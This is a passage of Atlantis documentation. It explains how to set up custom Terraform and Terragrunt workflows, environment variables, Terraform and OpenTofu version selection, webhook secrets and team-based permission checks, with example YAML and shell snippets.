workspace, they must also have # a 'name' key to differentiate them. - name: project1-staging dir: project1 workflow: staging - name: project1-production dir: project1 workflow: production workflows: # If you didn't define the workflows in your server-side repos.yaml config, # you would define them here instead. When you want to apply the plans, you can comment shell atlantis apply -p project1-staging and shell atlantis apply -p project1-production Where `-p` refers to the project name. ### Adding extra arguments to Terraform commands [​](https://www.runatlantis.io/docs/custom-workflows.html#adding-extra-arguments-to-terraform-commands) If you need to append flags to `terraform plan` or `apply` temporarily, you can append flags on a comment following `--`, for example commenting: shell atlantis plan -- -lock=false If you always need to do this for a project's `init`, `plan` or `apply` commands then you must define a custom workflow and set the `extra_args` key for the command you need to modify. yaml # atlantis.yaml or repos.yaml workflows: myworkflow: plan: steps: - init: extra_args: ["-lock=false"] - plan: extra_args: ["-lock=false"] apply: steps: - apply: extra_args: ["-lock=false"] Note Each entry in `extra_args` is passed to Terraform as a single argument. It is not interpreted by a shell, so shell operators (`;`, `&&`, `|`, redirections), globbing and word splitting do not apply. Environment variable references such as `$WORKSPACE`, `$DIR` and `$ATLANTIS_TERRAFORM_VERSION` are still expanded. If you need shell behaviour, use a `run` step, which is executed with a shell by design. If [policy checking](https://www.runatlantis.io/docs/policy-checking#how-it-works) is enabled, `extra_args` can also be used to change the default behaviour of conftest. yaml workflows: myworkflow: policy_check: steps: - show - policy_check: extra_args: ["--all-namespaces"] ### Custom init/plan/apply Commands [​](https://www.runatlantis.io/docs/custom-workflows.html#custom-init-plan-apply-commands) If you want to customize `terraform init`, `plan` or `apply` in ways that aren't supported by `extra_args`, you can completely override those commands. In this example, we're not using any of the built-in commands and are instead using our own. yaml # atlantis.yaml or repos.yaml workflows: myworkflow: plan: steps: # If you want to hide command output from Atlantis's PR comment, use # the output option on the run step's expanded form. - run: command: terraform init -input=false output: hide # If you're using workspaces you need to select the workspace using the # $WORKSPACE environment variable. - run: terraform workspace select $WORKSPACE # You MUST output the plan using -out $PLANFILE because Atlantis expects # plans to be in a specific location. - run: terraform plan -input=false -refresh -out $PLANFILE apply: steps: # Again, you must use the $PLANFILE environment variable. - run: terraform apply $PLANFILE ### CDKTF [​](https://www.runatlantis.io/docs/custom-workflows.html#cdktf) Here are the requirements to enable [CDKTF](https://developer.hashicorp.com/terraform/cdktf) * A custom image with `CDKTF` installed * Add `**/cdk.tf.json` to the list of Atlantis autoplan files. * Set the `atlantis-include-git-untracked-files` flag so that the Terraform files dynamically generated by CDKTF will be added to the Atlantis modified file list. * Use `pre_workflow_hooks` to run `cdktf synth` * Optional: There isn't a requirement to use a repo `atlantis.yaml` but one can be leveraged if needed. #### Custom Image [​](https://www.runatlantis.io/docs/custom-workflows.html#custom-image) dockerfile # Dockerfile FROM ghcr.io/runatlantis/atlantis:v0.19.7 USER root RUN apk add npm && npm i -g cdktf-cli #### Server Config [​](https://www.runatlantis.io/docs/custom-workflows.html#server-config) bash # env variables ATLANTIS_AUTOPLAN_FILE_LIST="**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json" ATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true OR `atlantis server --config config.yaml` yaml # config.yaml autoplan-file-list: "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/cdk.tf.json" include-git-untracked-files: true #### Server Repo Config [​](https://www.runatlantis.io/docs/custom-workflows.html#server-repo-config) Use `pre_workflow_hooks` `atlantis server --repo-config="repos.yaml"` yaml # repos.yaml repos: - id: /.*cdktf.*/ pre_workflow_hooks: - run: npm i && cdktf get && cdktf synth --output ci-cdktf.out **Note:** don't use the default `cdktf.out` directory that CDKTF uses, as this should be in the `.gitignore` list of the repo, so that locally generated files are not checked in. #### Repo Structure [​](https://www.runatlantis.io/docs/custom-workflows.html#repo-structure) This is the git repo structure after running `cdktf synth`. The `cdk.tf.json` files contain the Terraform configuration that atlantis can run. bash $ tree --gitignore . ├── cdktf.json ├── ci-cdktf.out │ ├── manifest.json │ └── stacks │ └── eks │ └── cdk.tf.json #### Workflow [​](https://www.runatlantis.io/docs/custom-workflows.html#workflow) 1. Container orchestrator (k8s/fargate/ecs/etc) uses the custom docker image of atlantis with `cdktf` installed with the `--autoplan-file-list` to trigger on `cdk.tf.json` files and `--include-git-untracked-files` set to include the CDKTF dynamically generated Terraform files in the Atlantis plan. 2. PR branch is pushed up containing `cdktf` code changes. 3. Atlantis checks out the branch in the repo. 4. Atlantis runs the `npm i && cdktf get && cdktf synth` command in the repo root as a step in `pre_workflow_hooks`, generating the `cdk.tf.json` Terraform files. 5. Atlantis detects the `cdk.tf.json` untracked files in a number of directories. 6. Atlantis then runs `terraform` workflows in the respective directories as usual. ### Terragrunt [​](https://www.runatlantis.io/docs/custom-workflows.html#terragrunt) Atlantis supports running custom commands in place of the default Atlantis commands. We can use this functionality to enable [Terragrunt](https://github.com/gruntwork-io/terragrunt) . You can either use your repo's `atlantis.yaml` file or the Atlantis server's `repos.yaml` file. Atlantis selects each project's Terraform distribution and version. In the workflows below, `ATLANTIS_TERRAFORM_DISTRIBUTION` expands to the executable prefix (`terraform` or `tofu`), and combining it with `ATLANTIS_TERRAFORM_VERSION` points Terragrunt at the same versioned binary. This also supports repositories containing both Terraform and OpenTofu projects. Given a directory structure: plain . └── live    ├── prod    │   └── terragrunt.hcl    └── staging    └── terragrunt.hcl If using the server `repos.yaml` file, you would use the following config: yaml # repos.yaml # Generate json plan via terragrunt for policy checks repos: - id: "/.*/" workflow: terragrunt workflows: terragrunt: plan: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: # Allow for targeted plans/applies as not supported for Terraform wrappers by default command: terragrunt plan -input=false $(printf '%s' $COMMENT_ARGS | sed 's/,/ /g' | tr -d '\\') -no-color -out $PLANFILE output: hide - run: | terragrunt show $PLANFILE apply: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: terragrunt apply -input=false $PLANFILE import: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: name: TF_VAR_author command: 'git show -s --format="%ae" $HEAD_COMMIT' # Allow for imports as not supported for Terraform wrappers by default - run: terragrunt import -input=false $(printf '%s' $COMMENT_ARGS | sed 's/,/ /' | tr -d '\\') state_rm: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' # Allow for state removals as not supported for Terraform wrappers by default - run: terragrunt state rm $(printf '%s' $COMMENT_ARGS | sed 's/,/ /' | tr -d '\\') If using the repo's `atlantis.yaml` file you would use the following config: yaml version: 3 projects: - dir: live/staging workflow: terragrunt - dir: live/prod workflow: terragrunt workflows: terragrunt: plan: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: command: terragrunt plan -input=false -out=$PLANFILE output: strip_refreshing apply: steps: - env: name: TG_TF_PATH command: 'echo "${ATLANTIS_TERRAFORM_DISTRIBUTION}${ATLANTIS_TERRAFORM_VERSION}"' - env: # Reduce Terraform suggestion output name: TF_IN_AUTOMATION value: 'true' - run: terragrunt apply $PLANFILE **NOTE:** If using the repo's `atlantis.yaml` file, you will need to specify each directory that is a Terragrunt project. WARNING Atlantis will need to have the `terragrunt` binary in its PATH. If you're using Docker you can build your own image, see [Customization](https://www.runatlantis.io/docs/deployment#customization) . If you don't want to create/manage the repo's `atlantis.yaml` file yourself, you can use the tool [terragrunt-atlantis-config](https://github.com/transcend-io/terragrunt-atlantis-config) to generate it. The `terragrunt-atlantis-config` tool is a community project and not maintained by the Atlantis team. ### Running custom commands [​](https://www.runatlantis.io/docs/custom-workflows.html#running-custom-commands) Atlantis supports running completely custom commands. In this example, we want to run a script after every `apply`: yaml # repos.yaml or atlantis.yaml workflows: myworkflow: apply: steps: - apply - run: ./my-custom-script.sh Notes * We don't need to write a `plan` key under `myworkflow`. If `plan` isn't set, Atlantis will use the default plan workflow which is what we want in this case. * A custom command will only terminate if all output file descriptors are closed. Therefore a custom command can only be sent to the background (e.g. for an SSH tunnel during the terraform run) when its output is redirected to a different location. For example, Atlantis will execute a custom script containing the following code to create an SSH tunnel correctly: `ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without the redirect, the script would block the Atlantis workflow. ### Custom Backend Config [​](https://www.runatlantis.io/docs/custom-workflows.html#custom-backend-config) If you need to specify the `-backend-config` flag to `terraform init` you'll need to use a custom workflow. In this example, we're using custom backend files to configure two remote states, one for each environment. We're then using `.tfvars` files to load different variables for each environment. yaml # repos.yaml or atlantis.yaml workflows: staging: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=staging.backend.tfvars] - plan: extra_args: [-var-file=staging.tfvars] production: plan: steps: - run: rm -rf .terraform - init: extra_args: [-backend-config=production.backend.tfvars] - plan: extra_args: [-var-file=production.tfvars] NOTE We have to use a custom `run` step to `rm -rf .terraform` because otherwise Terraform will complain in-between commands since the backend config has changed. You would then reference the workflows in your repo-level `atlantis.yaml`: yaml version: 3 projects: - name: staging dir: . workflow: staging - name: production dir: . workflow: production ### Add directory and repo context for aws resources using default tags [​](https://www.runatlantis.io/docs/custom-workflows.html#add-directory-and-repo-context-for-aws-resources-using-default-tags) This is only available in AWS provider version [5.62.0](https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0) and higher. This configuration will create the following tags * `repository` equal to `github.com//` which can be changed for gitlab or other VCS * `repository_dir` equal to the relative directory Other default variables can be added such as for workspace. See below for more available environment variables. yaml workflows: terraform: plan: steps: # These env vars TF_AWS_DEFAULT_TAGS_ will work for aws provider 5.62.0+ # https://github.com/hashicorp/terraform-provider-aws/releases/tag/v5.62.0 - &env_default_tags_repository env: name: TF_AWS_DEFAULT_TAGS_repository command: 'echo "github.com/${BASE_REPO_OWNER}/${BASE_REPO_NAME}"' - &env_default_tags_repository_dir env: name: TF_AWS_DEFAULT_TAGS_repository_dir command: 'echo "${REPO_REL_DIR}"' apply: steps: - *env_default_tags_repository - *env_default_tags_repository_dir NOTE: * Appending tags to every resource may regenerate data sources such as `aws_iam_policy_document` which will cause many resources to be modified. See known issue in aws provider [#29421](https://github.com/hashicorp/terraform-provider-aws/issues/29421) . * To run a local plan outside of terraform, the same environment variables will need to be created. bash tfvars () { export terraform_repository=$(git config --get remote.origin.url | sed 's,^git@,,g' | tr ':' '/' | sed 's,.git$,,g') export terraform_repository_dir=$(git rev-parse --show-prefix | sed 's,\/$,,g') } export TF_AWS_DEFAULT_TAGS_repository=$terraform_repository export TF_AWS_DEFAULT_TAGS_repository_dir=$terraform_repository_dir tfvars terraform plan If a colon is used in the tag name, use the `env` command instead of `export`. bash tfvars env \ TF_AWS_DEFAULT_TAGS_org:repository=$terraform_repository \ TF_AWS_DEFAULT_TAGS_org:repository_dir=$terraform_repository_dir \ terraform plan Reference [​](https://www.runatlantis.io/docs/custom-workflows.html#reference) ------------------------------------------------------------------------------- ### Workflow [​](https://www.runatlantis.io/docs/custom-workflows.html#workflow-1) yaml plan: apply: import: state_rm: | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | plan | [Stage](https://www.runatlantis.io/docs/custom-workflows.html#stage) | `steps: [init, plan]` | no | How to plan for this project. | | apply | [Stage](https://www.runatlantis.io/docs/custom-workflows.html#stage) | `steps: [apply]` | no | How to apply for this project. | | import | [Stage](https://www.runatlantis.io/docs/custom-workflows.html#stage) | `steps: [init, import]` | no | How to import for this project. | | state\_rm | [Stage](https://www.runatlantis.io/docs/custom-workflows.html#stage) | `steps: [init, state_rm]` | no | How to run state rm for this project. | ### Stage [​](https://www.runatlantis.io/docs/custom-workflows.html#stage) yaml steps: - run: custom-command - init - plan: extra_args: [-lock=false] | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | steps | array\[[Step](https://www.runatlantis.io/docs/custom-workflows.html#step)
\] | `[]` | no | List of steps for this stage. If the steps key is empty, no steps will be run for this stage. | ### Step [​](https://www.runatlantis.io/docs/custom-workflows.html#step) #### Built-In Commands [​](https://www.runatlantis.io/docs/custom-workflows.html#built-in-commands) Steps can be a single string for a built-in command. yaml - init - plan - apply - import - state_rm | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | init/plan/apply/import/state\_rm | string | none | no | Use a built-in command without additional configuration. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported | #### Built-In Command With Extra Args [​](https://www.runatlantis.io/docs/custom-workflows.html#built-in-command-with-extra-args) A map from string to `extra_args` for a built-in command with extra arguments. yaml - init: extra_args: [arg1, arg2] - plan: extra_args: [arg1, arg2] - apply: extra_args: [arg1, arg2] - import: extra_args: [arg1, arg2] - state_rm: extra_args: [arg1, arg2] | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | init/plan/apply/import/state\_rm | map\[`extra_args` -> array\[string\]\] | none | no | Use a built-in command and append `extra_args`. Only `init`, `plan`, `apply`, `import` and `state_rm` are supported as keys and only `extra_args` is supported as a value | #### Custom `run` Command [​](https://www.runatlantis.io/docs/custom-workflows.html#custom-run-command) A custom command can be written in 2 ways Compact: yaml - run: custom-command arg1 arg2 | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | run | string | none | no | Run a custom command | Full example: yaml - run: command: custom-command arg1 arg2 shell: sh shellArgs: - "--debug" - "-c" output: show Full example, filtering output and masking matching text (`mySecret: "foo"` -> `mySecret: ""`): yaml - run: command: custom-command arg1 arg2 shell: sh shellArgs: - "--debug" - "-c" output: - strip_refreshing - filter_regex: "((?i)secret:\\s\")[^\"]*" | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | run | map\[string -> string\] | none | no | Run a custom command | | run.command | string | none | yes | Shell command to run | | run.shell | string | "sh" | no | Name of the shell to use for command execution | | run.shellArgs | string or \[\]string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | | run.output | string or \[\]string or \[\]any | "show" | no | How to post-process the output of this command when posted in the PR comment. The options are:
_`show` - preserve the full output
_`hide` - hide output from comment (still visible in the real-time streaming output)
`strip_refreshing` - hide all output up until and including the last line containing "Refreshing...". This matches the behavior of the built-in `plan` command
`filter_regex: ""` - masks sensitive text in Atlantis comments by replacing regex matches with . Can be used multiple times (processed in order). Only filters inline comments - full plan links still show unfiltered results. | #### Native Environment Variables [​](https://www.runatlantis.io/docs/custom-workflows.html#native-environment-variables) * `run` steps in the main `workflow` are executed with the following environment variables: note: these variables are not available to `pre` or `post` workflows * `WORKSPACE` - The Terraform workspace used for this project, ex. `default`. NOTE: if the step is executed before `init` then Atlantis won't have switched to this workspace yet. * `ATLANTIS_TERRAFORM_VERSION` - The version of Terraform used for this project, ex. `0.11.0`. * `DIR` - Absolute path to the current directory. * `PLANFILE` - Absolute path to the location where Atlantis expects the plan to either be generated (by plan) or already exist (if running apply). Can be used to override the built-in `plan`/`apply` commands, ex. `run: terraform plan -out $PLANFILE`. A workflow whose `plan` and `apply` are both made up entirely of custom `run` steps may write its plan to a path of its own choosing instead of `$PLANFILE`. Atlantis does not require, hash, or delete a plan artifact for such a workflow; it still validates the project's recorded plan state before running `apply`. As soon as a workflow uses the built-in `plan` or `apply` step, the plan must be at `$PLANFILE`. * `SHOWFILE` - Absolute path to the location where Atlantis expects the plan in json format to either be generated (by show) or already exist (if running policy checks). Can be used to override the built-in `plan`/`apply` commands, ex. `run: terraform show -json $PLANFILE > $SHOWFILE`. * `POLICYCHECKFILE` - Absolute path to the location of policy check output if Atlantis runs policy checks. See [policy checking](https://www.runatlantis.io/docs/policy-checking#data-for-custom-run-steps) for information of data structure. * `BASE_REPO_NAME` - Name of the repository that the pull request will be merged into, ex. `atlantis`. * `BASE_REPO_OWNER` - Owner of the repository that the pull request will be merged into, ex. `runatlantis`. * `HEAD_REPO_NAME` - Name of the repository that is getting merged into the base repository, ex. `atlantis`. * `HEAD_REPO_OWNER` - Owner of the repository that is getting merged into the base repository, ex. `acme-corp`. * `HEAD_BRANCH_NAME` - Name of the head branch of the pull request (the branch that is getting merged into the base) * `HEAD_COMMIT` - The sha256 that points to the head of the branch that is being pull requested into the base. If the pull request is from Bitbucket Cloud the string will only be 12 characters long because Bitbucket Cloud truncates its commit IDs. * `BASE_BRANCH_NAME` - Name of the base branch of the pull request (the branch that the pull request is getting merged into) * `PROJECT_NAME` - Name of the project configured in `atlantis.yaml`. If no project name is configured this will be an empty string. * `PULL_NUM` - Pull request number or ID, ex. `2`. * `PULL_URL` - Pull request URL, ex. `https://github.com/runatlantis/atlantis/pull/2`. * `PULL_AUTHOR` - Username of the pull request author, ex. `acme-user`. * `REPO_REL_DIR` - The relative path of the project in the repository. For example if your project is in `dir1/dir2/` then this will be set to `"dir1/dir2"`. If your project is at the root this will be `"."`. * `USER_NAME` - Username of the VCS user running command, ex. `acme-user`. During an autoplan, the user will be the Atlantis API user, ex. `atlantis`. * `COMMENT_ARGS` - Any additional flags passed in the comment on the pull request. Flags are separated by commas and every character is escaped, ex. `atlantis plan -- arg1 arg2` will result in `COMMENT_ARGS=\a\r\g\1,\a\r\g\2`. * `ATLANTIS_PR_APPROVED` - "true" if the PR is approved * `ATLANTIS_PR_MERGEABLE` - "true" if the PR is mergeable * A custom command will only terminate if all output file descriptors are closed. Therefore a custom command can only be sent to the background (e.g. for an SSH tunnel during the terraform run) when its output is redirected to a different location. For example, Atlantis will execute a custom script containing the following code to create an SSH tunnel correctly: `ssh -f -M -S /tmp/ssh_tunnel -L 3306:database:3306 -N bastion 1>/dev/null 2>&1`. Without the redirect, the script would block the Atlantis workflow. * If a workflow step returns a non-zero exit code, the workflow will stop. ::: #### Environment Variable `env` Command [​](https://www.runatlantis.io/docs/custom-workflows.html#environment-variable-env-command) The `env` command allows you to set environment variables that will be available to all steps defined **below** the `env` step. You can set hard coded values via the `value` key, or set dynamic values via the `command` key which allows you to run any command and uses the output as the environment variable value. yaml - env: name: ENV_NAME value: hard-coded-value - env: name: ENV_NAME_2 command: 'echo "dynamic-value-$(date)"' - env: name: ENV_NAME_3 command: echo ${DIR%$REPO_REL_DIR} shell: bash shellArgs: - "--verbose" - "-c" | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | env | map\[string -> string\] | none | no | Set environment variables for subsequent steps | | env.name | string | none | yes | Name of the environment variable | | env.value | string | none | no | Set the value of the environment variable to a hard-coded string. Cannot be set at the same time as `command` | | env.command | string | none | no | Set the value of the environment variable to the output of a command. Cannot be set at the same time as `value` | | env.shell | string | "sh" | no | Name of the shell to use for command execution. Cannot be set without `command` | | env.shellArgs | string or \[\]string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | Notes * `env` `command`'s can use any of the built-in environment variables available to `run` commands. #### Multiple Environment Variables `multienv` Command [​](https://www.runatlantis.io/docs/custom-workflows.html#multiple-environment-variables-multienv-command) The `multienv` command allows you to set dynamic number of multiple environment variables that will be available to all steps defined **below** the `multienv` step. Compact: yaml - multienv: custom-command | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | multienv | string | none | no | Run a custom command and add printed environment variables | Full: yaml - multienv: command: custom-command shell: bash shellArgs: - "--verbose" - "-c" output: show | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | multienv | map\[string -> string\] | none | no | Run a custom command and add printed environment variables | | multienv.command | string | none | yes | Name of the custom script to run | | multienv.shell | string | "sh" | no | Name of the shell to use for command execution | | multienv.shellArgs | string or \[\]string | "-c" | no | Command line arguments to be passed to the shell. Cannot be set without `shell` | | multienv.output | string | "show" | no | Setting output to "hide" will suppress the message about added environment variables | The output of the command execution must have the following format: `EnvVar1Name=value1,EnvVar2Name=value2,EnvVar3Name=value3` The name-value pairs in the output are added as environment variables if command execution is successful, otherwise the workflow execution is interrupted with an error and the errorMessage is returned. Notes * `multienv` `command`'s can use any of the built-in environment variables available to `run` commands. --- # Terraform Versions | Atlantis [Skip to content](https://www.runatlantis.io/docs/terraform-versions.html#VPContent) On this page Terraform Versions [​](https://www.runatlantis.io/docs/terraform-versions.html#terraform-versions) =================================================================================================== You can customize which version of Terraform Atlantis defaults to by setting the `--default-tf-version` flag (ex. `--default-tf-version=v1.3.7`). Via `atlantis.yaml` [​](https://www.runatlantis.io/docs/terraform-versions.html#via-atlantis-yaml) --------------------------------------------------------------------------------------------------- If you wish to use a different version than the default for a specific repo or project, you need to create an `atlantis.yaml` file and set the `terraform_version` key: yaml version: 3 projects: - dir: . terraform_version: v1.1.5 See [atlantis.yaml Use Cases](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#terraform-versions) for more details. Via terraform config [​](https://www.runatlantis.io/docs/terraform-versions.html#via-terraform-config) ------------------------------------------------------------------------------------------------------- Alternatively, one can use the terraform configuration block's `required_version` key to specify an exact version (`x.y.z` or `= x.y.z`), or as of [atlantis v0.21.0](https://github.com/runatlantis/atlantis/releases/tag/v0.21.0) , a comparison or pessimistic [version constraint](https://developer.hashicorp.com/terraform/language/expressions/version-constraints#version-constraint-syntax) : ### Exactly version 1.2.9 [​](https://www.runatlantis.io/docs/terraform-versions.html#exactly-version-1-2-9) tf terraform { required_version = "= 1.2.9" } ### Any patch/tiny version of minor version 1.2 (1.2.z) [​](https://www.runatlantis.io/docs/terraform-versions.html#any-patch-tiny-version-of-minor-version-1-2-1-2-z) tf terraform { required_version = "~> 1.2.0" } ### Any minor version of major version 1 (1.y.z) [​](https://www.runatlantis.io/docs/terraform-versions.html#any-minor-version-of-major-version-1-1-y-z) tf terraform { required_version = "~> 1.2" } ### Any version that is at least 1.2.0 [​](https://www.runatlantis.io/docs/terraform-versions.html#any-version-that-is-at-least-1-2-0) tf terraform { required_version = ">= 1.2.0" } See [Terraform `required_version`](https://developer.hashicorp.com/terraform/language/terraform#terraform-required_version) for reference. NOTE Atlantis will automatically download the latest version that fulfills the constraint specified. A `terraform_version` specified in the `atlantis.yaml` file takes precedence over both the [`--default-tf-version`](https://www.runatlantis.io/docs/server-configuration#default-tf-version) flag and the `required_version` in the terraform hcl. When a project sets `terraform_distribution`, Atlantis resolves the `required_version` constraint against that distribution. For example, an OpenTofu project resolves to an OpenTofu version instead of a Terraform version. OpenTofu `.tofu` file support [​](https://www.runatlantis.io/docs/terraform-versions.html#opentofu-tofu-file-support) ---------------------------------------------------------------------------------------------------------------------- When the effective distribution is OpenTofu, Atlantis reads `required_version` from `.tofu` and `.tofu.json` files in addition to `.tf` and `.tf.json`. The effective distribution is OpenTofu when either: * A project sets `terraform_distribution: opentofu` in `atlantis.yaml` * The server default is `--default-tf-distribution=opentofu` and the project does not override it If a project explicitly sets `terraform_distribution: terraform`, Atlantis uses the Terraform version-detection path (`.tf` / `.tf.json` only) even if the server default is OpenTofu. OpenTofu file precedence is respected: a `.tofu` file overrides a same-basename `.tf` file, and `.tofu.json` overrides a same-basename `.tf.json` file. Files with different basenames both contribute constraints independently. Terraform distribution is unaffected and continues to read only `.tf` / `.tf.json` files. Known limitation Module autoplanning (`--autoplan-modules`) dependency indexing still relies on `terraform-config-inspect` and does not fully understand `.tofu` / `.tofu.json`: 1. Module source blocks defined only in `.tofu` / `.tofu.json` files are not indexed. Projects using these files for `module {}` blocks will not be planned when shared modules change. 2. Shared module directories containing only `.tofu` / `.tofu.json` files may not be recognized as modules by the dependency index. Direct file-change autoplanning (without `--autoplan-modules`) is fully supported for `.tofu` projects. As a workaround for module dependencies, include shared module paths in explicit `autoplan.when_modified` patterns, or keep module source declarations in `.tf` files until full `.tofu` module indexing is implemented. Terraform Cloud workspace detection (`cloud { workspaces { ... } }`) supports `.tf`, `.tf.json`, `.tofu`, and `.tofu.json` files for **autodiscovered projects**. `.tofu` and `.tofu.json` are only scanned when the server default distribution (`--default-tf-distribution`) is OpenTofu. Same-basename precedence applies in OpenTofu mode: `.tofu` overrides `main.tf`, `.tofu.json` overrides `main.tf.json`. Projects with Terraform server default read `.tf` and `.tf.json` but ignore `.tofu` / `.tofu.json`. For explicitly configured projects in `atlantis.yaml`, set the `workspace:` field directly — workspace HCL scanning is not used for configured projects regardless of distribution. NOTE The Atlantis [latest docker image](https://github.com/runatlantis/atlantis/pkgs/container/atlantis/9854680?tag=latest) tends to have recent versions of Terraform, but there may be a delay as new versions are released. The highest version of Terraform allowed in your code is the version specified by `DEFAULT_TERRAFORM_VERSION` in the image your server is running. --- # Webhook Secrets | Atlantis [Skip to content](https://www.runatlantis.io/docs/webhook-secrets.html#VPContent) On this page Webhook Secrets [​](https://www.runatlantis.io/docs/webhook-secrets.html#webhook-secrets) ========================================================================================== Atlantis uses Webhook secrets to validate that the webhooks it receives from your Git host are legitimate. One way to confirm this would be to allowlist requests to only come from the IPs of your Git host but an easier way is to use a Webhook Secret. NOTE Webhook secrets are actually optional. However they're highly recommended for security. NOTE Azure DevOps uses Basic authentication for webhooks rather than webhook secrets. NOTE An app-wide token is generated during [GitHub App setup](https://www.runatlantis.io/docs/access-credentials#github-app) . You can recover it by navigating to the [GitHub app settings page](https://github.com/settings/apps) and selecting "Edit" next to your Atlantis app's name. Token appears after clicking "Edit" under the Webhook header. Generating A Webhook Secret [​](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) ------------------------------------------------------------------------------------------------------------------ You can use any random string generator to create your Webhook secret. It should be > 24 characters. For example: * Generate via Ruby with `ruby -rsecurerandom -e 'puts SecureRandom.hex(32)'` * Generate online with [browserling: Generate Random Strings and Numbers](https://www.browserling.com/tools/random-string) NOTE You must use **the same** webhook secret for each repo. Next Steps [​](https://www.runatlantis.io/docs/webhook-secrets.html#next-steps) -------------------------------------------------------------------------------- * Record your secret * You'll be using it later to [configure your webhooks](https://www.runatlantis.io/docs/configuring-webhooks) , however if you're following the [Installation Guide](https://www.runatlantis.io/docs/installation-guide) then your next step is to [Deploy Atlantis](https://www.runatlantis.io/docs/deployment) --- # Repo and Project Permissions | Atlantis [Skip to content](https://www.runatlantis.io/docs/repo-and-project-permissions.html#VPContent) On this page Repo and Project Permissions [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#repo-and-project-permissions) ================================================================================================================================= Sometimes it may be necessary to limit who can run which commands, such as restricting who can apply changes to production, while allowing more freedom for dev and test environments. Authorization Workflow [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#authorization-workflow) --------------------------------------------------------------------------------------------------------------------- Atlantis performs two authorization checks to verify a user has the necessary permissions to run a command: 1. After a command has been validated, before var files, repo metadata, or pull request statuses are checked and validated. 2. After pre workflow hooks have run, repo configuration processed, and affected projects determined. Note The first check should be considered as validating the user for a repository as a whole, while the second check is for validating a user for a specific project in that repo. ### Why check permissions twice? [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#why-check-permissions-twice) The way Atlantis is currently designed, not all relevant information may be available when the first check happens. In particular, affected projects are not known because pre workflow hooks haven't run yet, so repositories that use hooks to generate or modify repo configurations won't know which projects to check permissions for. Configuring permissions [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#configuring-permissions) ----------------------------------------------------------------------------------------------------------------------- Atlantis has two options for allowing instance administrators to configure permissions. ### Server option [`--gh-team-allowlist`](https://www.runatlantis.io/docs/server-configuration#gh-team-allowlist) [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#server-option-gh-team-allowlist) The `--gh-team-allowlist` option allows administrators to configure a global set of permissions that apply to all repositories. For most use cases, this should be sufficient. WARNING If you are using [policy checking](https://www.runatlantis.io/docs/policy-checking) , you must also allowlist the `policy_check` command: bash --gh-team-allowlist="*:plan,*:policy_check,myteam:apply" `policy_check` is an internal command that runs automatically after `plan`. Without allowlisting it, manual `atlantis plan` commands will skip policy checks (though autoplans will still work). See [Policy Checking](https://www.runatlantis.io/docs/policy-checking#step-1-enable-the-workflow) for details. ### External command [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#external-command) For administrators that require more granular and specific permission definitions, an external command can be defined in the [server side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config#teamauthz) . This command will receive information about the command, repo, project, and GitHub teams the user is a member of, allowing administrators to integrate the permissions validation with other systems or business requirements. An example would be allowing users to apply changes to lower environments like dev and test environments while restricting changes to production or other sensitive environments. WARNING These options are mutually exclusive. If an external command is defined, the `--gh-team-allowlist` option is ignored. Example [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#example) --------------------------------------------------------------------------------------- ### Restrict production changes [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#restrict-production-changes) This example shows a simple example of how a script could be used to restrict production changes to a specific team, while allowing anyone to work on other environments. For brevity, this example assumes each user is a member of a single team. `server-side-repo-config.yaml` yaml team_authz: command: "/scripts/example.sh" `example.sh` shell #!/bin/bash # Define name of team allowed to make production changes PROD_TEAM="example-org/prod-deployers" # Set variables from command-line arguments for convenience COMMAND="$1" REPO="$2" TEAM="$3" # Check if we are running the 'apply' command on prod if [ "${COMMAND}" == "apply" -a "${PROJECT_NAME}" == "prod" ] then # Only the prod team can make this change if [ "${TEAM}" == "${PROD_TEAM}" ] then echo "pass" exit 0 fi # Print reason for failing and exit echo "user \"${USER_NAME}\" must be a member of \"${PROD_TEAM}\" to apply changes to production." exit 0 fi # Any other command and environment is okay echo "pass" exit 0 Reference [​](https://www.runatlantis.io/docs/repo-and-project-permissions.html#reference) ------------------------------------------------------------------------------------------- ### External Command Execution 